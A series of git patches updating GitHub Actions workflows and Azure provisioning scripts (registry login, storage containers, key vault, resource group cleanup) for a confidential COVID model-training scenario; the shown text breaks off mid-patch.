From 2e81e535a7ab6c29b6013f40f28e9af00ae57ddf Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 10:55:58 +0530 Subject: [PATCH 01/35] update docker login action --- .github/workflows/ci-local.yml | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci-local.yml b/.github/workflows/ci-local.yml index 17198ff..4859e2f 100644 --- a/.github/workflows/ci-local.yml +++ b/.github/workflows/ci-local.yml @@ -11,8 +11,8 @@ name: Deploy COVID scenario in Docker on: [workflow_dispatch] -env: - CONTAINER_REGISTRY: ${{ vars.CONTAINER_REGISTRY }} +#env: +# CONTAINER_REGISTRY: ${{ vars.CONTAINER_REGISTRY }} jobs: deploy-ccr-covid: @@ -25,8 +25,9 @@ jobs: run: git submodule update --init --recursive - name: Login to Docker Hub - uses: docker/login-action@v2 + uses: docker/login-action@v3 with: + registry: ${{ vars.CONTAINER_REGISTRY }} username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} From e544257d816dce09f332c73ac8e2fc4ae468b682 Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 10:59:27 +0530 Subject: [PATCH 02/35] update docker login action --- .github/workflows/ci-local.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci-local.yml b/.github/workflows/ci-local.yml index 4859e2f..cd48711 100644 --- a/.github/workflows/ci-local.yml +++ b/.github/workflows/ci-local.yml @@ -27,7 +27,7 @@ jobs: - name: Login to Docker Hub uses: docker/login-action@v3 with: - registry: ${{ vars.CONTAINER_REGISTRY }} + registry: ispirt.azurecr.io username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} From 54e713253adfde0ea6614c050f62befd5b643e29 Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 11:31:26 +0530 Subject: [PATCH 03/35] update docker login action --- .github/workflows/ci-local.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci-local.yml b/.github/workflows/ci-local.yml index cd48711..d2661c7 100644 --- a/.github/workflows/ci-local.yml +++ b/.github/workflows/ci-local.yml @@ -24,12 +24,12 @@ jobs: - name: Update submodules run: git submodule update --init --recursive - - name: Login to Docker Hub + - name: Login to ACR uses: docker/login-action@v3 with: - registry: ispirt.azurecr.io - username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} - password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} + registry: ${{ vars.CONTAINER_REGISTRY }} + username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} + password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} - name: Add user to docker group run: sudo usermod -aG docker $USER From 37c8c457444039ca877be6464097df95003afe26 Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 11:34:30 +0530 Subject: [PATCH 04/35] update docker login action --- .github/workflows/ci-local.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci-local.yml b/.github/workflows/ci-local.yml index d2661c7..4030051 100644 --- a/.github/workflows/ci-local.yml +++ b/.github/workflows/ci-local.yml @@ -27,9 +27,9 @@ jobs: - name: Login to ACR uses: docker/login-action@v3 with: - registry: ${{ vars.CONTAINER_REGISTRY }} - username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} - password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} + registry: ${{ vars.CONTAINER_REGISTRY }} + username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} + password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} - name: Add user to docker group run: sudo usermod -aG docker $USER From d3537bfbc6f6f111f2df039c103984d53763e3ac Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 11:38:08 +0530 Subject: [PATCH 05/35] update docker login action --- .github/workflows/ci-local.yml | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/.github/workflows/ci-local.yml b/.github/workflows/ci-local.yml index 4030051..41e7d4c 100644 --- a/.github/workflows/ci-local.yml +++ b/.github/workflows/ci-local.yml @@ -9,7 +9,8 @@ name: Deploy COVID scenario in Docker -on: [workflow_dispatch] +on: + workflow_dispatch: #env: # CONTAINER_REGISTRY: ${{ vars.CONTAINER_REGISTRY }} @@ -17,6 +18,7 @@ on: [workflow_dispatch] jobs: deploy-ccr-covid: runs-on: [self-hosted, linux, X64] + steps: - uses: AutoModality/action-clean@v1 - uses: actions/checkout@v3 @@ -24,12 +26,12 @@ jobs: - name: Update submodules run: git submodule update --init --recursive - - name: Login to ACR + - name: Login to ACR uses: docker/login-action@v3 with: - registry: ${{ vars.CONTAINER_REGISTRY }} - username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} - password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} + registry: ${{ vars.CONTAINER_REGISTRY }} + username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} + password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} - name: Add user to docker group run: sudo usermod -aG docker $USER @@ -42,6 +44,6 @@ jobs: - name: Run model saving run: cd ./scenarios/covid/deployment/docker && ./save-model.sh - + - name: Run training run: cd ./scenarios/covid/deployment/docker && ./train.sh From 37cb37257bb39a40ee23cf48688d254ab5bcf889 Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 11:40:49 +0530 Subject: [PATCH 06/35] update docker login action --- .github/workflows/ci-local.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci-local.yml b/.github/workflows/ci-local.yml index 41e7d4c..0858baa 100644 --- a/.github/workflows/ci-local.yml +++ b/.github/workflows/ci-local.yml @@ -29,7 +29,7 @@ jobs: - name: Login to ACR uses: docker/login-action@v3 with: - registry: ${{ vars.CONTAINER_REGISTRY }} + registry: ispirt.azurecr.io username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} From 3157853d458cfe11607cf91c41e6d1b83d6b9c2e Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 11:54:12 +0530 Subject: [PATCH 07/35] update docker login action --- .github/workflows/ci-local.yml | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/.github/workflows/ci-local.yml b/.github/workflows/ci-local.yml index 0858baa..3218daa 100644 --- a/.github/workflows/ci-local.yml +++ b/.github/workflows/ci-local.yml @@ -12,9 +12,6 @@ name: Deploy COVID scenario in Docker on: workflow_dispatch: -#env: -# CONTAINER_REGISTRY: ${{ vars.CONTAINER_REGISTRY }} - jobs: deploy-ccr-covid: runs-on: [self-hosted, linux, X64] @@ -29,7 +26,7 @@ jobs: - name: Login to ACR uses: docker/login-action@v3 with: - registry: ispirt.azurecr.io + registry: ${{ vars.CONTAINER_REGISTRY }} username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} From 4fcddb095409f8c00a1fdc3103f60639894f260f Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 13:52:17 +0530 Subject: [PATCH 08/35] update az login credentials --- .github/workflows/ci.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index fe919db..d37d30b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -55,7 +55,9 @@ jobs: - name: Log in with Azure uses: azure/login@v1 with: - creds: '${{ secrets.AZURE_CREDENTIALS }}' + client-id: ${{ secrets.AZURE_CLIENT_ID }} + tenant-id: ${{ secrets.AZURE_TENANT_ID }} + subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} - name: Login to Docker Hub uses: docker/login-action@v2 From 94be33eac7787e05eadf420ba521566f93cc8e06 Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 13:58:56 +0530 Subject: [PATCH 09/35] change to registry --- .github/workflows/ci.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index d37d30b..cbefa6b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -60,8 +60,9 @@ jobs: subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} - name: Login to Docker Hub - uses: docker/login-action@v2 + uses: docker/login-action@v3 with: + registry: ${{ vars.CONTAINER_REGISTRY }} username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} From 97caffad931b423b75e7da59f5510b40d59e61e1 Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 14:05:23 +0530 Subject: [PATCH 10/35] update ID token permission --- .github/workflows/ci.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index cbefa6b..c91090b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -32,6 +32,10 @@ env: DATA_DIRECTORY: ${{ github.workspace}}/scenarios/covid/data CONTRACT_SERVICE_URL: ${{ vars.CONTRACT_SERVICE_URL }} +permissions: + id-token: write + contents: read + jobs: deploy-ccr-covid-aci: runs-on: [self-hosted, linux, X64] From 9cf95078358b7ad3d5348ef781e7f2a25786a6cd Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 15:44:47 +0530 Subject: [PATCH 11/35] azure location parameter --- scenarios/covid/data/1-create-storage-containers.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/covid/data/1-create-storage-containers.sh b/scenarios/covid/data/1-create-storage-containers.sh index 101f380..9573479 100755 --- a/scenarios/covid/data/1-create-storage-containers.sh +++ b/scenarios/covid/data/1-create-storage-containers.sh @@ -1,7 +1,7 @@ #!/bin/bash az group create \ - --location westeurope \ + --location $AZURE_LOCATION\\ --name $AZURE_RESOURCE_GROUP az storage account create \ From bff897f320aa008ce0995214021f65c9adf9f59d Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 15:45:25 +0530 Subject: [PATCH 12/35] changes in aci deployment workflow --- .github/workflows/ci.yml | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c91090b..bdca3b3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -21,6 +21,7 @@ env: CONTAINER_REGISTRY_USERNAME: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} CONTAINER_REGISTRY_PASSWORD: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} AZURE_RESOURCE_GROUP: ${{ vars.AZURE_RESOURCE_GROUP }} + AZURE_LOCATION: ${{ vars.AZURE_LOCATION }} AZURE_STORAGE_ACCOUNT_NAME: ${{ vars.AZURE_STORAGE_ACCOUNT_NAME }} AZURE_ICMR_CONTAINER_NAME: ${{ vars.AZURE_ICMR_CONTAINER_NAME }} AZURE_COWIN_CONTAINER_NAME: ${{ vars.AZURE_COWIN_CONTAINER_NAME }} @@ -31,6 +32,7 @@ env: TOOLS_HOME: ${{ github.workspace }}/external/confidential-sidecar-containers/tools DATA_DIRECTORY: ${{ github.workspace}}/scenarios/covid/data CONTRACT_SERVICE_URL: ${{ vars.CONTRACT_SERVICE_URL }} + permissions: id-token: write @@ -85,6 +87,12 @@ jobs: - name: Pull container images for generating policy run: cd ${{ github.workspace }}/ci && ./pull-containers.sh + - name: create storage and containers + run: cd ${{ github.workspace }}/scenarios/covid/data && ./1-create-storage-containers.sh + + - name: create azure key vault + run: cd ${{ github.workspace }}/scenarios/covid/data && ./2-create-akv.sh + - name: Import data and model encryption keys with key release policies run: cd ${{ github.workspace }}/scenarios/covid/data && ./3-import-keys.sh @@ -95,7 +103,7 @@ jobs: run: cd ${{ github.workspace }}/scenarios/covid/data && ./5-upload-encrypted-data.sh - name: Run training - run: cd ${{ github.workspace }}/scenarios/covid/deployment/aci && ./deploy.sh -c ${{ github.event.inputs.contract }} -q ../../config/query_config.json -m ../../config/model_config.json + run: cd ${{ github.workspace }}/scenarios/covid/deployment/aci && ./deploy.sh -c ${{ github.event.inputs.contract }} -p ../../config/pipeline_config.json - name: Dump training container logs run: sleep 200 && az container logs --name depa-training-covid --resource-group $AZURE_RESOURCE_GROUP --container-name depa-training From 3cb54e9a951a6e22cf85cf10324ea98d7269fc1b Mon Sep 17 00:00:00 2001 From: pavankad Date: Fri, 16 Aug 2024 16:16:22 +0530 Subject: [PATCH 13/35] update storage container script --- scenarios/covid/data/1-create-storage-containers.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/covid/data/1-create-storage-containers.sh b/scenarios/covid/data/1-create-storage-containers.sh index 9573479..ea73f75 100755 --- a/scenarios/covid/data/1-create-storage-containers.sh +++ b/scenarios/covid/data/1-create-storage-containers.sh @@ -1,7 +1,7 @@ #!/bin/bash az group create \ - --location $AZURE_LOCATION\\ + --location $AZURE_LOCATION\ --name $AZURE_RESOURCE_GROUP az storage account create \ From 1e8dedd138a5d11627944d6e8d0a787d0aa41efd Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 09:53:42 +0530 Subject: [PATCH 14/35] changes to create rg, storage, akv --- .../covid/data/1-create-storage-containers.sh | 96 ++++++++++++------- scenarios/covid/data/2-create-akv.sh | 27 ++++-- 2 files changed, 81 insertions(+), 42 deletions(-) diff --git a/scenarios/covid/data/1-create-storage-containers.sh b/scenarios/covid/data/1-create-storage-containers.sh index ea73f75..e6e2a43 100755 --- a/scenarios/covid/data/1-create-storage-containers.sh +++ b/scenarios/covid/data/1-create-storage-containers.sh @@ -1,34 +1,66 @@ #!/bin/bash +# +echo "Checking if resource group $AZURE_RESOURCE_GROUP exists..." +RG_EXISTS=$(az group exists --name $AZURE_RESOURCE_GROUP) -az group create \ - --location $AZURE_LOCATION\ - --name $AZURE_RESOURCE_GROUP - -az storage account create \ - --resource-group $AZURE_RESOURCE_GROUP \ - --name $AZURE_STORAGE_ACCOUNT_NAME - -az storage container create \ - --resource-group $AZURE_RESOURCE_GROUP \ - --account-name $AZURE_STORAGE_ACCOUNT_NAME \ - --name $AZURE_ICMR_CONTAINER_NAME - -az storage container create \ - --resource-group $AZURE_RESOURCE_GROUP \ - --account-name $AZURE_STORAGE_ACCOUNT_NAME \ - --name $AZURE_COWIN_CONTAINER_NAME - -az storage container create \ - --resource-group $AZURE_RESOURCE_GROUP \ - --account-name $AZURE_STORAGE_ACCOUNT_NAME \ - --name $AZURE_INDEX_CONTAINER_NAME - -az storage container create \ - --resource-group $AZURE_RESOURCE_GROUP \ - --account-name $AZURE_STORAGE_ACCOUNT_NAME \ - --name $AZURE_MODEL_CONTAINER_NAME - -az storage container create \ - --resource-group $AZURE_RESOURCE_GROUP \ - --account-name $AZURE_STORAGE_ACCOUNT_NAME \ - --name $AZURE_OUTPUT_CONTAINER_NAME +if [ "$RG_EXISTS" == "false" ]; then + echo "Resource group $AZURE_RESOURCE_GROUP does not exist. Creating it now..." + # Create the resource group + az group create --name $AZURE_RESOURCE_GROUP --location $AZURE_LOCATION +else + echo "Resource group $AZURE_RESOURCE_GROUP already exists. Skipping creation." +fi + +#echo "Check if storage account $STORAGE_ACCOUNT_NAME exists..." +STORAGE_ACCOUNT_EXISTS=$(az storage account check-name --name $AZURE_STORAGE_ACCOUNT_NAME --query "nameAvailable" --output tsv) + +if [ "$STORAGE_ACCOUNT_EXISTS" == "true" ]; then + echo "Storage account $AZURE_STORAGE_ACCOUNT_NAME does not exist. Creating it now..." + az storage account create --resource-group $AZURE_RESOURCE_GROUP --name $AZURE_STORAGE_ACCOUNT_NAME +else + echo "Storage account $AZURE_STORAGE_ACCOUNT_NAME exists" +fi + +# Get the storage account key +ACCOUNT_KEY=$(az storage account keys list --resource-group $AZURE_RESOURCE_GROUP --account-name $AZURE_STORAGE_ACCOUNT_NAME --query "[0].value" --output tsv) + + +# Check if the ICMR container exists +CONTAINER_EXISTS=$(az storage container exists --name $AZURE_ICMR_CONTAINER_NAME --account-name $AZURE_STORAGE_ACCOUNT_NAME --account-key $ACCOUNT_KEY --query "exists" --output tsv) + +if [ "$CONTAINER_EXISTS" == "false" ]; then + echo "Container $AZURE_ICMR_CONTAINER_NAME does not exist. Creating it now..." + az storage container create --resource-group $AZURE_RESOURCE_GROUP --account-name $AZURE_STORAGE_ACCOUNT_NAME --name $AZURE_ICMR_CONTAINER_NAME --account-key $ACCOUNT_KEY +fi + +# Check if the COWIN container exists +CONTAINER_EXISTS=$(az storage container exists --name $AZURE_COWIN_CONTAINER_NAME --account-name $AZURE_STORAGE_ACCOUNT_NAME --account-key $ACCOUNT_KEY --query "exists" --output tsv) + +if [ "$CONTAINER_EXISTS" == "false" ]; then + echo "Container $AZURE_COWIN_CONTAINER_NAME does not exist. Creating it now..." + az storage container create --resource-group $AZURE_RESOURCE_GROUP --account-name $AZURE_STORAGE_ACCOUNT_NAME --name $AZURE_COWIN_CONTAINER_NAME --account-key $ACCOUNT_KEY +fi + +# Check if the INDEX container exists +CONTAINER_EXISTS=$(az storage container exists --name $AZURE_INDEX_CONTAINER_NAME --account-name $AZURE_STORAGE_ACCOUNT_NAME --account-key $ACCOUNT_KEY --query "exists" --output tsv) + +if [ "$CONTAINER_EXISTS" == "false" ]; then + echo "Container $AZURE_INDEX_CONTAINER_NAME does not exist. Creating it now..." + az storage container create --resource-group $AZURE_RESOURCE_GROUP --account-name $AZURE_STORAGE_ACCOUNT_NAME --name $AZURE_INDEX_CONTAINER_NAME --account-key $ACCOUNT_KEY +fi + +# Check if the MODEL container exists +CONTAINER_EXISTS=$(az storage container exists --name $AZURE_MODEL_CONTAINER_NAME --account-name $AZURE_STORAGE_ACCOUNT_NAME --account-key $ACCOUNT_KEY --query "exists" --output tsv) + +if [ "$CONTAINER_EXISTS" == "false" ]; then + echo "Container $AZURE_MODEL_CONTAINER_NAME does not exist. Creating it now..." + az storage container create --resource-group $AZURE_RESOURCE_GROUP --account-name $AZURE_STORAGE_ACCOUNT_NAME --name $AZURE_MODEL_CONTAINER_NAME --account-key $ACCOUNT_KEY +fi + +# Check if the OUTPUT container exists +CONTAINER_EXISTS=$(az storage container exists --name $AZURE_OUTPUT_CONTAINER_NAME --account-name $AZURE_STORAGE_ACCOUNT_NAME --account-key $ACCOUNT_KEY --query "exists" --output tsv) + +if [ "$CONTAINER_EXISTS" == "false" ]; then + echo "Container $AZURE_OUTPUT_CONTAINER_NAME does not exist. Creating it now..." + az storage container create --resource-group $AZURE_RESOURCE_GROUP --account-name $AZURE_STORAGE_ACCOUNT_NAME --name $AZURE_OUTPUT_CONTAINER_NAME --account-key $ACCOUNT_KEY +fi diff --git a/scenarios/covid/data/2-create-akv.sh b/scenarios/covid/data/2-create-akv.sh index 6cbcb46..27e9110 100755 --- a/scenarios/covid/data/2-create-akv.sh +++ b/scenarios/covid/data/2-create-akv.sh @@ -2,17 +2,24 @@ set -e -echo CREATING $AZURE_KEYVAULT_ENDPOINT in resouce group $AZURE_RESOURCE_GROUP -echo $AZURE_RESOURCE_GROUP - + echo CREATING $AZURE_KEYVAULT_ENDPOINT in resouce group $AZURE_RESOURCE_GROUP + if [[ "$AZURE_KEYVAULT_ENDPOINT" == *".vault.azure.net" ]]; then - # Create Azure key vault with RBAC authorization AZURE_AKV_RESOURCE_NAME=`echo $AZURE_KEYVAULT_ENDPOINT | awk '{split($0,a,"."); print a[1]}'` - az keyvault create --name $AZURE_AKV_RESOURCE_NAME --resource-group $AZURE_RESOURCE_GROUP --sku "Premium" --enable-rbac-authorization - # Assign RBAC roles to the resource owner so they can import keys - AKV_SCOPE=`az keyvault show --name $AZURE_AKV_RESOURCE_NAME --query id --output tsv` - az role assignment create --role "Key Vault Crypto Officer" --assignee `az account show --query user.name --output tsv` --scope $AKV_SCOPE - az role assignment create --role "Key Vault Crypto User" --assignee `az account show --query user.name --output tsv` --scope $AKV_SCOPE + # Check if the Key Vault already exists + echo "Checking if Key Vault $KEY_VAULT_NAME exists..." + KEY_VAULT_EXISTS=$(az keyvault list --resource-group $AZURE_RESOURCE_GROUP --query "[?name=='$AZURE_AKV_RESOURCE_NAME'].name" --output tsv) + if [ -z "$KEY_VAULT_EXISTS" ]; then + echo "Key Vault $KEY_VAULT_NAME does not exist. Creating it now..." + # Create Azure key vault with RBAC authorization + az keyvault create --name $AZURE_AKV_RESOURCE_NAME --resource-group $AZURE_RESOURCE_GROUP --sku "Premium" --enable-rbac-authorization + # Assign RBAC roles to the resource owner so they can import keys + AKV_SCOPE=`az keyvault show --name $AZURE_AKV_RESOURCE_NAME --query id --output tsv` + az role assignment create --role "Key Vault Crypto Officer" --assignee `az account show --query user.name --output tsv` --scope $AKV_SCOPE + az role assignment create --role "Key Vault Crypto User" --assignee `az account show --query user.name --output tsv` --scope $AKV_SCOPE + else + echo "Key Vault $AZURE_KEYVAULT_ENDPOINT exists" + fi else echo "Automated creation of key vaults is supported only for vaults" -fi \ No newline at end of file +fi From 7409081bb3dffc562ec39a308cf550e3d26b9eaf Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 10:05:51 +0530 Subject: [PATCH 15/35] check for resource group and create if that does not exist --- scenarios/covid/deployment/aci/deploy.sh | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/scenarios/covid/deployment/aci/deploy.sh b/scenarios/covid/deployment/aci/deploy.sh index a8eee35..cad9068 100755 --- a/scenarios/covid/deployment/aci/deploy.sh +++ b/scenarios/covid/deployment/aci/deploy.sh @@ -140,13 +140,20 @@ echo $TMP > /tmp/aci-parameters.json echo Deploying training clean room... -az group create \ - --location westeurope \ - --name $AZURE_RESOURCE_GROUP +echo "Checking if resource group $AZURE_RESOURCE_GROUP exists..." +RG_EXISTS=$(az group exists --name $AZURE_RESOURCE_GROUP) + +if [ "$RG_EXISTS" == "false" ]; then + echo "Resource group $AZURE_RESOURCE_GROUP does not exist. Creating it now..." + # Create the resource group + az group create --name $AZURE_RESOURCE_GROUP --location $AZURE_LOCATION +else + echo "Resource group $AZURE_RESOURCE_GROUP already exists. Skipping creation." +fi az deployment group create \ --resource-group $AZURE_RESOURCE_GROUP \ --template-file arm-template.json \ --parameters @/tmp/aci-parameters.json -echo Deployment complete. \ No newline at end of file +echo Deployment complete. From 9ae08195ab5a87ba4da56c2e084cc52af6fc79c4 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 10:13:42 +0530 Subject: [PATCH 16/35] clean up resource in resource group --- .github/workflows/ci.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index bdca3b3..7273ad0 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -114,6 +114,9 @@ jobs: - name: Download and decrypt model run: cd ${{ github.workspace }}/scenarios/covid/data && ./6-download-decrypt-model.sh + - name: Clean up resource group and all resources + run: az group delete --yes --name $AZURE_RESOURCE_GROUP + - name: Cleanup data directory run: sudo rm -rf $DATA_DIRECTORY if: ${{ always() }} From 906c215d76510f2c0d1fab67a78b77c69fb41267 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 15:12:59 +0530 Subject: [PATCH 17/35] add build and test workflow file --- .github/workflows/ci-build.yml | 87 ++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 .github/workflows/ci-build.yml diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml new file mode 100644 index 0000000..9a7b283 --- /dev/null +++ b/.github/workflows/ci-build.yml @@ -0,0 +1,87 @@ +# This workflow uses actions that are not certified by GitHub. +# They are provided by a third-party and are governed by +# separate terms of service, privacy policy, and support +# documentation. + +# GitHub recommends pinning actions to a commit SHA. +# To get a newer version, you will need to update the SHA. +# You can also reference a tag or branch, but the action may change without warning. + +name: Build and Test Images + +on: [release] + +env: + REGISTRY: ${{ vars.CONTAINER_REGISTRY }} + +jobs: + build-and-test-image: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + include: + - dockerfile: ./scenarios/covid/ci/Dockerfile.index + name: preprocess-index + context: ./scenarios/covid/src + buildargs: | + - dockerfile: ./scenarios/covid/ci/Dockerfile.icmr + name: preprocess-icmr + context: ./scenarios/covid/src + buildargs: | + - dockerfile: ./scenarios/covid/ci/Dockerfile.cowin + name: preprocess-cowin + context: ./scenarios/covid/src + buildargs: | + - dockerfile: ./scenarios/covid/ci/Dockerfile.modelsave + name: ccr-model-save + context: ./scenarios/covid/src + buildargs: | + - dockerfile: ./ci/Dockerfile.encfs + name: depa-training-encfs + context: ./ + buildargs: | + - dockerfile: ./ci/Dockerfile.train + name: depa-training + context: ./src + buildargs: | + + permissions: + contents: read + packages: write + + steps: + - name: Checkout repository + uses: actions/checkout@v3 + with: + submodules: recursive + + - name: Build encrypted filesystem artifacts + run: cd ${{ github.workspace }}/external/confidential-sidecar-containers && ./buildall.sh + + - name: Build contract ledger client library + run: cd ${{ github.workspace }}//external/contract-ledger/pyscitt && python3 setup.py bdist_wheel + + - name: Build container images + uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc + with: + context: ${{ matrix.context }} + file: ${{ matrix.dockerfile }} + build-args: ${{ matrix.buildargs }} + push: false + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} + + - name: Set SCITT_VERSION_OVERRIDE + run: echo "SCITT_VERSION_OVERRIDE=$(git describe --tags --match="*.*.*")" >> "$GITHUB_ENV" + + - name: Build contract service container + uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc + with: + file: ${{ github.workspace }}/external/contract-ledger/docker/virtual.Dockerfile + context: ${{ github.workspace }}/external/contract-ledger + push: false + build-args: SCITT_VERSION_OVERRIDE=${{ env.SCITT_VERSION_OVERRIDE }} + tags: ${{ env.REGISTRY }}/contract-ledger + + From be4ec3a5a5a26420efe490b09156deb930aa6902 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 15:15:27 +0530 Subject: [PATCH 18/35] change to ci-build file --- .github/workflows/ci-build.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 9a7b283..e1dd0b6 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -9,7 +9,8 @@ name: Build and Test Images -on: [release] +on: + workflow_dispatch: env: REGISTRY: ${{ vars.CONTAINER_REGISTRY }} From 205d12126e8f5999ed816544281d54e36a0dbc88 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 15:20:54 +0530 Subject: [PATCH 19/35] change to ci-build file --- .github/workflows/ci-build.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index e1dd0b6..3a7ccdd 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -10,7 +10,9 @@ name: Build and Test Images on: - workflow_dispatch: + push: + branches: + - '**' env: REGISTRY: ${{ vars.CONTAINER_REGISTRY }} From e605f1d2f95adc5b4687e5a03a61058142e1bc03 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 15:31:12 +0530 Subject: [PATCH 20/35] change to ci-build file --- .github/workflows/ci-build.yml | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 3a7ccdd..018f58a 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -59,6 +59,25 @@ jobs: with: submodules: recursive + - uses: pietrobolcato/install-azure-cli-action@main + + - name: Update submodules + run: git submodule update --init --recursive + + - name: Set up Go + uses: actions/setup-go@v4 + with: + go-version: '1.19.x' + + - name: Install jq + run: sudo apt install -y jq + + - name: Install make + run: sudo apt install make + + - name: Install wheel + run: pip install wheel + - name: Build encrypted filesystem artifacts run: cd ${{ github.workspace }}/external/confidential-sidecar-containers && ./buildall.sh From 7177d12a7b7ea4a1115046b5fb6ca87e13e87209 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 15:31:45 +0530 Subject: [PATCH 21/35] change to ci-build file --- .github/workflows/ci-build.yml | 2 -- 1 file changed, 2 deletions(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 018f58a..9eab58e 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -59,8 +59,6 @@ jobs: with: submodules: recursive - - uses: pietrobolcato/install-azure-cli-action@main - - name: Update submodules run: git submodule update --init --recursive From 721325abdbb8effbe32567feefc53d6f6cf4fc4e Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 15:56:59 +0530 Subject: [PATCH 22/35] changes to ci-build.yml --- .github/workflows/ci-build.yml | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 9eab58e..6673d3e 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -80,7 +80,7 @@ jobs: run: cd 